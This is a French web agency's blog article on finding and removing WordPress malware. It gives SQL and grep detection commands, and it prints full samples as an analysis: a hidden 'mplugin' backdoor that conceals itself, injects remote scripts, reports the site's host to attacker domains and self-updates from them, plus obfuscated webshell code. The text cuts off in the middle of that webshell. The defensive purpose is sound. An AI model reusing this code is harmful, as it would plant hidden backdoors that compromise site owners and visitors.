Acinonyx Web Agency

Votre site est déjà infecté sans que vous le sachiez !

Scroll down to Discover

Votre site est sans doute infecté sans que vous le sachiez. Comment détecter et nettoyer les virus d’un WordPress ?

Votre site est sans doute infecté sans que vous le sachiez. Comment détecter et nettoyer les virus d'un Wordpress ?

WordPress étant le CMS le plus populaire au monde, cela a fait de lui une cible privilégiée des hackers. Ainsi, il est devenu habituel que lors d’interventions courantes pour des clients nous apercevons de nombreuses backdoors bien dissimulées dont l’administrateur n’avait pas connaissance : le but pour les pirates est de rester le plus discret possible.

 

Aujourd’hui les sites ne font pas forcément l’objet de defaces, d’affichage de publicités (spamware), de générer des articles et des liens vers des sites étranges… Ces sites sont exploités par les attaquants de la manière la plus discrète possible pour ne pas se faire déceler et retirer, c’est ce que l’on nomme : advanced persistent threat.

 

En effet, dans la majorité des cas, les sites touchés sont ceux qui ne sont plus mis à jour. WordPress propose régulièrement de mettre à jour son cœur/core afin de patcher des failles critiques tout au long de l’année, il en va de même pour les plugins. Si vous ne les mettez pas à jour et qu’un de ces plugins non mis à jour contient une faille, alors il ne faudra que 5 minutes à un hacker pour le découvrir, notamment grâce à des sites tels que WP Sec.

Une faille plus critique est celle des hébergements partagés mutualisés : un site qui n’est pas le votre infecte le serveur qui vous infecte à son tour. Ainsi, les utilisateurs de Siteground ont été victimes d’infections tour à tour d’infection de leur site.

C’est pour cela que nous recommandons nos hébergements dédiés (un serveur unique pour vous seul).

 

Si vous lisez aujourd’hui cet article, il est fort probable que vous ayez déjà eu à faire à ce cas de figure et que vous recherchez des solutions de diagnostic puis de désinfection. Alors ne cherchez pas plus loin : cet article résume les principales actions à mener afin de nettoyer votre site WordPress de tout backdoors, shells, malwares et virus.

 

 

Analyser son site WordPress à l’aide de plugins

La première chose à faire et la plus simple de notre liste, est d’installer un plugin directement sur votre WordPress. Il existe plusieurs plugins dédiés à la sécurité sur WordPress, mais peu proposent des analyses complètes depuis le back-office.

 

Le plugin gratuit qui nous intéresse dans ce cas de figure est :

Wordfence Security – Firewall & Malware Scan

Wordfence

Grâce à ce plugin, vous pourrez en deux clics lancer une analyse du serveur, des fichiers modifiés, des malwares les plus communs et pouvant être détectés par le plugin… En bref, un check-up complet pour votre site. C’est la première chose à faire en cas de soupçon de piratage.

Attention toutefois, le plugin peut parfois designer certains fichiers comme malicieux car contenant du code chiffré en base64, hors ce n’est pas toujours le cas. Pensez donc à toujours faire du sauvegarde de vos fichiers ou à faire appel à un expert.

 

 

ATTENTION La majorité des virus WordPress sont conçus pour ne pas être détecté par ces antimalwares WordPress

 

 

Cherchez et supprimez les comptes administrateurs inconnus ainsi que les articles et pages que vous n’avez pas faits

 

Bloquez le XML-RPC et l’API REST si vous ne les utilisez pas

Vous n’avez jamais entendu parler de ces fonctionnalités ? Il y a donc de grandes chances pour que vous n’en ayez pas besoin. Elles permettent à un malware d’exécuter du code à distance et de se régénérer, il vaut mieux donc les bloquer préventivement.

 

Tout cela se fait en quelques clics avec :

iThemes Security (anciennement Better WP Security)

configuration itheme

Après avoir lancé la sécurisation automatique du site nous vous conseillons d’inscrire votre site au réseau antibruteforce. Cela à l’avantage, même si votre site est déjà contaminé, de bloquer l’ip de l’attaquant et de son serveur de contrôle à distance (C&C botnet…).

 

Dans les options allez dans les paramètres de fonctionnalités WordPress :
itheme security wordpress optimisation
Puis cochez et sélectionnez les options suivantes (toutes celles recommandées en fait) :

wordpress xmlrc infecté

 

Vous limiterez ainsi les risques de réinfection : en général lorsque votre WordPress est infecté par un malware, même si vous le supprimez celui-ci est automatiquement réinjecté par un serveur à distance contrôlant en permanence le niveau d’infection de votre site via les fonctionnalités que nous venons de désactiver.

En les bloquant le virus ne sera donc plus réinjecté !

 

Analysez les tables de la base de données du WordPress

Il est possible au sein d’un site WordPress d’injecter du code PHP et JavaScript directement depuis une table de la base de données. De nombreux plugins existent pour cela, mais ce ne sont pas ces plugins qui nous intéressent ici : seulement la méthode employée pour exécuter du code malicieux.

Certains malwares relativement malins enregistrent une balise <script> directement dans la table wp-options. Pensez-donc à effectuer une requête SQL de ce type afin de vous assurer que vous n’êtes pas affecté :

SELECT * FROM `wp_options` WHERE (CONVERT(`option_name` USING utf8mb4) LIKE '%ad_code%' OR CONVERT(`option_value` USING utf8mb4) LIKE '%ad_code%' OR CONVERT(`autoload` USING utf8mb4) LIKE '%ad_code%') LIMIT 50

Manuellement, il vous suffit d’aller dans la base de données de votre wordpress puis dans la table options (par défaut wp-options mais votre préfixe peut changer) puis d’y chercher

<script

ou encore

<php

Exemple de code viral chez l’un de nos clients :

code viral wordpress js

'ad_code', '\n<script type=\'text/javascript\' src=\'//aanqylta.com/bb/2f/82/bb2f8268f180d7e0e1613e43c3e34d23.js\'></script>\n<script type=\'text/javascript\' src=\'//aanqylta.com/a4/8a/80/a48a807e59fb8d5503642ee3fcbb8f87.js\'></script>\n', 'yes'

Ici le site va automatiquement exécuter les fichiers distants :

aanqylta.com/bb/2f/82/bb2f8268f180d7e0e1613e43c3e34d23.js
aanqylta.com/a4/8a/80/a48a807e59fb8d5503642ee3fcbb8f87.js

lesquels sont des injecteurs viraux wordpress chiffrés (pas besoin d’être ingénieur informaticien virologue pour comprendre que du code exécuté à distance chiffré sur un wordpress a de grandes chances d’être nuisible).

 

Encore une fois, attention à ce que vous trouverez et supprimerez, car il peut parfois s’agir de résultats provenant de simple plugins de publicités, chargeant des publicités Google Ads (par exemple). Ou encore le code injecté par des plugins légitimes comme code snippets.

 

En cas de doute nous vous recommandons de vous tourner vers Acinonyx Web Agency : notre personnel expérimenté saura différencier un malware d’une fonction conventionnelle chiffrée.

 

Analysez les changements au niveau des fichiers côté serveur

Pour cette étape, vous allez devoir vous connecter en SSH afin de pouvoir exécuter des lignes de commandes et en analyser le retour. Pour chaque commande, pensez à remplacer « /var/www/wordpress/ » par le chemin de votre site.

En FTP, il est inutile de se fier à la date de changement de fichiers car elle peut être aisément falsifiée. En revanche le chmod peut être un bon indicateur…

 

 

Comme d’habitude, prudence avant de supprimer des fichiers ou des bouts de code qui pourraient ne pas être infectés (faux positifs).

 

Cherchez mplugin.php dans votre dossier de plugin wordpress

Infection la plus courante elle mérite une partie entière. De nombreux clients téléchargent des thèmes ou plugins nulled ou crackés. Sauf que rien n’est gratuit et vous en payez le prix plus tard : votre site affiche de la publicité pour payer le hacker :

Ici mplugins.php (même avec un « s » de plus, le malware reste le même).

Vous ne verrez jamais rien car le plugin se dissimule dans la liste des plugins, enregistre les ips des admins et leur dissimule la publicité qui ne sera visible que pour les visiteurs tiers :

<?php
/**
 * Plugin Name: Monetization Code plugin
 * Description: mplugin Shows cusom codes to display your ad codes.
 * Author: aerin Singh
 * Version: 1.0
 */
error_reporting(0);
ini_set('display_errors', 0);
$plugin_key='4ab94009633ce74d72c165d5b5577957';
$version='1.2';

add_action('admin_menu', function() {
    add_options_page( 'mplugin Plugin', 'mplugin', 'manage_options', 'mplugin', 'mplugin_page' );
    remove_submenu_page( 'options-general.php', 'mplugin' );
});



add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_mplugin');
function salcode_add_plugin_page_settings_mplugin( $links ) {
    $links[] = '<a href="' .
        admin_url( 'options-general.php?page=mplugin' ) .
        '">' . __('Settings') . '</a>';
    return $links;
}






add_action( 'admin_init', function() {

    register_setting( 'mplugin-settings', 'default_mont_options' );
    register_setting( 'mplugin-settings', 'ad_code' );
    register_setting( 'mplugin-settings', 'hide_admin' );
    register_setting( 'mplugin-settings', 'hide_logged_in' );
    register_setting( 'mplugin-settings', 'display_ad' );
    register_setting( 'mplugin-settings', 'search_engines' );
    register_setting( 'mplugin-settings', 'auto_update' );
    register_setting( 'mplugin-settings', 'ip_admin');
    register_setting( 'mplugin-settings', 'cookies_admin' );
    register_setting( 'mplugin-settings', 'logged_admin' );
    register_setting( 'mplugin-settings', 'log_install' );
    
});

$ad_code="
<script type='text/javascript' src='//aanqylta.com/bb/2f/82/bb2f8268f180d7e0e1613e43c3e34d23.js'></script>
<script type='text/javascript' src='//aanqylta.com/a4/8a/80/a48a807e59fb8d5503642ee3fcbb8f87.js'></script>
";

$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';

function mplugin_page() {
 ?>
   <div class="wrap">
<form action="options.php" method="post">
       <?php
       settings_fields( 'mplugin-settings' );
       do_settings_sections( 'mplugin-settings' );
$ad_code='';

$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';

       ?>
       <h2>mplugin Plugin</h2>
       <table>
             
 <tr>
                <th>Ad Code</th>
                <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td>
            </tr>
            
            
            
<tr>
                <th>Hide ads to :</th>
                <td>
                    <input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
                    <label>
                        <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
                    </label>
                    <label>
                        <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
                    </label>
                    <br/>
                 

                </td>
            </tr>
            
            
            
            <tr>
                <th>Recognize admin by :</th>
                <td>

                    <label>
                        <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
                    </label>
                    <label>
                        <input type="checkbox" name="ip_admin" id="ip_admin"  <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
                    </label>
                                        <label>
                        <input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
                    </label>
                
                 

                </td>
            </tr>
            
            
            
            <tr>
                <th>Display ads to :</th>
                <td>
                 				         <select name="display_ad">
                        
                        <option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
                        <option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
                        
                    </select>

                </td>
            </tr>

            <tr>
                <th>Search Engines</th>
                <td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
            comma separated  </p>
                </td>
            </tr>
 
 
 <tr>
                <th>Auto Update :</th>
                <td>

                    <label>
                        <input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
                    </label><br/>
                 

                </td>
            </tr>
 
            <tr>
                <td><?php submit_button(); ?></td>
            </tr>
 
        </table>
       
       
       
     </form>
   </div>
 <?php
}

/*************************log install***************************/
if(get_option('log_install') !=='1')
{
    if(!$log_installed = @file_get_contents("http://www.tomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
    $log_installed = @file_get_contents_mplugin("http://www.tomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
/*************************set default options***************************/

if(get_option('default_mont_options') !=='on')
{
update_option('ip_admin', $ip_admin);
update_option('ad_code', $ad_code);
update_option('cookies_admin', $cookies_admin);
update_option('logged_admin', $logged_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_logged_in', $hide_logged_in);
update_option('display_ad', $display_ad);
update_option('search_engines', $search_engines);
update_option('auto_update', $auto_update);
update_option('log_install', '1');
}

/************************************************************************/
include_once(ABSPATH . 'wp-includes/pluggable.php'); 

if ( ! function_exists( 'display_ad_single' ) ) {  

function display_ad_single($content){ 
if(is_single())
{

$content=$content.get_option('ad_code');;
}
return $content;
} 

function display_ad_footer(){ 
if(!is_single())
{
echo get_option('ad_code');
}
} 


//setting cookies if admin logged in
function setting_admin_cookie() {
  setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  }

if(get_option('cookies_admin')=='on')
{

if(is_user_logged_in())
{
add_action( 'init', 'setting_admin_cookie',1 );
}
}


//log admin IP addresses
$vis_ip=getVisIpAddr_mplugin();
if(get_option('ip_admin')=='on')
{
if(current_user_can('edit_others_pages'))
{

if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
{
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
}

if (stripos($ip, $vis_ip) === false)
{
$ip.=$vis_ip.'
';
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);

}

}
}// end if log admins ip




//add cookies to organic traffic

if(get_option('display_ad')=='organic')
{

$search_engines = explode(',', get_option('search_engines'));

$referer = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($search_engines as $search) {
  if (strpos($referer,$search)!==false) {
    setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
    $organic=true;
  }
}

}//end




//display ad

if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in()) 
{

$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
if (stripos($ips, $vis_ip) === false)
{
/*****/
if(get_option('display_ad')=='organic')
{
if($organic==true || isset($_COOKIE['organic']))
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer'); 
}
}
else
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');  
}

/****/

}

}
/*******************/





//update plugin

if(get_option('auto_update')=='on')
{

if( ini_get('allow_url_fopen') ) {



        if (($new_version = @file_get_contents("http://www.tomndo.com/update.php") OR $new_version = @file_get_contents_mplugin("http://www.tomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }
        
        
                elseif ($new_version = @file_get_contents("http://www.tomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }


        elseif ($new_version = @file_get_contents("http://www.tomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }

}
else
{
            if (($new_version = @file_get_contents("http://www.tomndo.com/update.php") OR $new_version = @file_get_contents_mplugin("http://www.tomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }
        
        
                elseif ($new_version = @file_get_contents_mplugin("http://www.tomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }


        elseif ($new_version = @file_get_contents_mplugin("http://www.tomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }
}
}//end if auto update

/*********************************/



}// if function exist



     function file_get_contents_mplugin($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }


function hide_plugin_mplugin() {
  global $wp_list_table;
  $hidearr = array('mplugin.php');
  $myplugins = $wp_list_table->items;
  foreach ($myplugins as $key => $val) {
    if (in_array($key,$hidearr)) {
      unset($wp_list_table->items[$key]);
    }
  }
}

add_action('pre_current_active_plugins', 'hide_plugin_mplugin');

        function getVisIpAddr_mplugin() { 
      
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
        return $_SERVER['HTTP_CLIENT_IP']; 
    } 
    else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        return $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } 
    else { 
        return $_SERVER['REMOTE_ADDR']; 
    } 
}

?>

m pour moneyplugin ou comment rentabiliser ses victimes.

 

Ici c’était Updraftplus le coupable, qui se trouve avec cette commande ssh :

grep -r -i --include=\*.php 'mplugin.php' /var/www/

Traduction : qui a généré mplugin ? Qu’il se dénonce !

En général il infecte également le fichier /wp-include/functions.php qu’il vous faudra également désinfecter.

 

Nous ne pouvons que vous conseiller de supprimer les plugins crackés/nulled en cause bien que supprimer la partie infectée suffise. Non seulement cela est illégal mais les plugins piratés sont toujours plus ou moins infecté d’une manière ou d’une autre.

 

 

N’oubliez pas : si c’est gratuit, c’est vous le produit 

 

 

Analysez les fichiers natifs du core WordPress

 

Première chose à faire : vérifier si les fichiers natifs du WordPress ont étés modifiés. C’est l’étape la plus simple, il vous suffit pour cela d’exécuter la commande suivante :

nano /var/www/wordpress/index.php
nano /var/www/wordpress/wp-config.php
nano /var/www/wordpress/wp-settings.php

Et de vérifier si ces fichiers contiennent en haut ou en bas, du code chiffré ou un « @include ». Cela peut soit être une suite de lettres et de mots incompréhensibles, soit du code en base64.

Si c’est le cas : supprimez-les.

 

Vous pouvez aussi utiliser cette commande pour lister les fichiers .php contenant des « @include » :

grep -r -i --include=\*.php '*/ @include' /var/www/

 

Exemple de code infecté :

@include "\057var/\167ww/h\164ml/w\160-inc\154udes\057Simp\154ePie\057.639\1466911\056ico";
@include "\057var/\167ww/h\164ml/w\160-inc\154udes\057Simp\154ePie\057.639\1466911\056ico";
@include "\057var\057www\057htm\154/wp\055inc\154ude\163/Si\155ple\120ie/\056639\146691\061.ic\157";
@include "\057var/\167ww/h\164ml/w\160-inc\154udes\057Simp\154ePie\057.639\1466911\056ico";
@include "\057var/\167ww/h\164ml/w\160-inc\154udes\057Simp\154ePie\057.639\1466911\056ico";
@include "\057var/\167ww/h\164ml/w\160-inc\154udes\057Simp\154ePie\057.639\1466911\056ico";
@include "\057va\162/w\167w/\150tm\154/w\160-i\156cl\165de\163/S\151mp\154eP\151e/\05663\071f6\07111\056ic\157";
@include "\057var/\167ww/h\164ml/w\160-inc\154udes\057Simp\154ePie\057.639\1466911\056ico";
@include "\057var/\167ww/h\164ml/w\160-inc\154udes\057Simp\154ePie\057.639\1466911\056ico";
@include "\057v\141r\057w\167w\057h\164m\154/\167p\055i\156c\154u\144e\163/\123i\155p\154e\120i\145/\0566\0639\1466\0711\061.\151c\157";
@include "\057var\057www\057htm\154/wp\055inc\154ude\163/Si\155ple\120ie/\056639\146691\061.ic\157";
@include "\057va\162/w\167w/\150tm\154/w\160-i\156cl\165de\163/S\151mp\154eP\151e/\05663\071f6\07111\056ic\157";
@include "\057v\141r\057w\167w\057h\164m\154/\167p\055i\156c\154u\144e\163/\123i\155p\154e\120i\145/\0566\0639\1466\0711\061.\151c\157";
@include "\057va\162/w\167w/\150tm\154/w\160-i\156cl\165de\163/S\151mp\154eP\151e/\05663\071f6\07111\056ic\157";

Il s’agit de ce type de malware : webshell obfusqué en .ico injecté par droppeur (vous avez du télécharger un plugin sur une source non officielle).

 

Une fois déchiffré sur https://www.unphp.net, on se rend compte qu’il y a de multiples shellcodes en .ico qu’il vous faudra supprimer :

@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";@include "/var/www/html/wp-includes/SimplePie/.639f6911.ico";

Supprimez les puis avec la commande suivante décelez s’il existe d’autres .ico infecté :

grep -r -i --include=\*.ico 'preg_replace' /var/www/

En général cela ne suffit pas, le coeur du malware doit être éliminé pour supprimer toute régénération. Pour le trouver, voici quelques étapes à suivre :

 

Recherchez les fichiers contenant du code chiffré et/ou en base64

grep -Er '[A-Za-z0-9+/]{4}*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)' /var/www/wordpress/*
grep -Erl '[[:alnum:]/+]{20,}' /var/www/wordpress/*
grep -rl 'base64_encode' /var/www/wordpress/*

Ces lignes de commandes afficheront tous les fichiers contenant du code suspect. Il ne restera plus qu’à les analyser un par un.

Voici quelques exemples de malwares chiffrés :

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $a2b51c7d0 = 290;$GLOBALS['kf0800b21'] = Array();global $kf0800b21;$kf0800b21 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['e7ad307'] = "\x27\x75\x34\x20\x79\x7e\x7a\x7b\x43\x21\x38\x4e\x51\x47\x63\x29\x55\x59\x42\x5b\x77\x61\x62\x4c\x23\x53\x71\x68\x22\x5d\x3f\x58\x2c\x72\x6f\x24\x6b\x3e\xd\x35\x78\x37\x5e\x32\x57\x54\x6c\x73\x76\x66\x65\x69\x4d\x5a\x9\x33\x3c\xa\x36\x5c\x67\x60\x50\x7c\x64\x6e\x3a\x40\x46\x4a\x7d\x2e\x2f\x25\x45\x39\x70\x31\x5f\x3b\x49\x30\x26\x3d\x52\x48\x2a\x6a\x6d\x44\x4b\x56\x2d\x28\x4f\x2b\x41\x74";$kf0800b21[$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][10].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][75].$kf0800b21['e7ad307'][50]] = $kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][27].$kf0800b21['e7ad307'][33];$kf0800b21[$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][75].$kf0800b21['e7ad307'][75]] = $kf0800b21['e7ad307'][34].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][64];$kf0800b21[$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][43].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][55]] = $kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][97].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][46].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][65];$kf0800b21[$kf0800b21['e7ad307'][76].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][77].$kf0800b21['e7ad307'][21]] = $kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][65].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][78].$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][97];$kf0800b21[$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][55].$kf0800b21['e7ad307'][64]] = $kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][46].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][6].$kf0800b21['e7ad307'][50];$kf0800b21[$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][55].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][41]] = $kf0800b21['e7ad307'][76].$kf0800b21['e7ad307'][27].$kf0800b21['e7ad307'][76].$kf0800b21['e7ad307'][48].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][34].$kf0800b21['e7ad307'][65];$kf0800b21[$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][75]] = $kf0800b21['e7ad307'][1].$kf0800b21['e7ad307'][65].$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][46].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][6].$kf0800b21['e7ad307'][50];$kf0800b21[$kf0800b21['e7ad307'][27].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][10].$kf0800b21['e7ad307'][41]] = $kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][78].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][34].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][50];$kf0800b21[$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][50]] = $kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][97].$kf0800b21['e7ad307'][78].$kf0800b21['e7ad307'][97].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][88].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][78].$kf0800b21['e7ad307'][46].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][88].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][97];$kf0800b21[$kf0800b21['e7ad307'][26].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][55].$kf0800b21['e7ad307'][64]] = $kf0800b21['e7ad307'][97].$kf0800b21['e7ad307'][75].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][49].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][2];$kf0800b21[$kf0800b21['e7ad307'][60].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][81]] = $kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][10].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][43];$kf0800b21[$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][10].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][50]] = $_POST;$kf0800b21[$kf0800b21['e7ad307'][40].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][77].$kf0800b21['e7ad307'][2]] = $_COOKIE;@$kf0800b21[$kf0800b21['e7ad307'][76].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][77].$kf0800b21['e7ad307'][21]]($kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][34].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][78].$kf0800b21['e7ad307'][46].$kf0800b21['e7ad307'][34].$kf0800b21['e7ad307'][60], NULL);@$kf0800b21[$kf0800b21['e7ad307'][76].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][77].$kf0800b21['e7ad307'][21]]($kf0800b21['e7ad307'][46].$kf0800b21['e7ad307'][34].$kf0800b21['e7ad307'][60].$kf0800b21['e7ad307'][78].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][34].$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][47], 